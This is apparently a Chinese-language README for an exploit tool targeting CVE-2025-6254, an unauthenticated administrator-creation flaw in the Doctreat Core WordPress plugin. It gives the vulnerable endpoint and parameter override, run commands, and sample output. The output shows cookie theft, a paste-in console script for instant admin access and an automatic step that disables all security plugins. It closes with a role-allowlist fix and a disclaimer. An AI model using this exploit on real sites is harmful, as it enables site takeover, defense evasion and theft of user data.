CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升
WordPress 插件 Doctreat Core 版本 <= 1.6.8 存在一个未认证权限提升漏洞。该严重缺陷允许未认证攻击者直接通过插件的注册 AJAX 端点创建新的管理员账户。
该漏洞源于 hooks/hooks.php 文件中的 doctreat_process_registration() 函数,该函数直接从用户提交的 POST 数据中接受 user_type 参数,并将其作为 role 参数传递给 wp_update_user(),且未进行适当的授权或白名单验证。插件仅应用了 esc_sql()(该函数不会验证角色)——它从不检查该角色对于公开注册是否安全。
突破性发现: Doctreat 使用的 nonce(scripts_vars.ajax_nonce)暴露在活动 Doctreat 主题的任何公开页面上。user_type 参数(通常控制用户注册为 "doctors"、"hospitals" 或 "regular_users")可以通过 POST 覆盖为 user_type=administrator —— 而该值会直接作为 WordPress 的 role 参数传递。
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administratorajax_nonce// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
注意: 在具有默认验证设置($verify_user 为空或为 'remove')的目标上,用户会被自动验证并立即获得管理员访问权限。启用了电子邮件验证或管理员批准的目标则需要额外的验证步骤。
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
运行漏洞利用程序后,复制生成的 JavaScript 并粘贴到浏览器的 DevTools 控制台(F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests 库(pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') 能力检查user_type 传递给 wp_update_user() 之前对其进行验证此信息仅供教育和授权渗透测试目的使用。未经授权利用计算机系统是非法且不道德的行为。在测试任何你不拥有的目标之前,务必获得明确的书面许可。
| 能力 | 影响 |
|---|
| 🔑 无需登录即可创建管理员账户 | 完全接管网站 |
| 🎛️ 自动禁用所有安全插件 | 防御规避 |
| 💉 编辑插件/主题 PHP 文件 | 远程代码执行 |
| 🕳️ 安装隐藏后门 | 持久化访问 |
| 👥 查看所有用户数据 | 侵犯隐私 |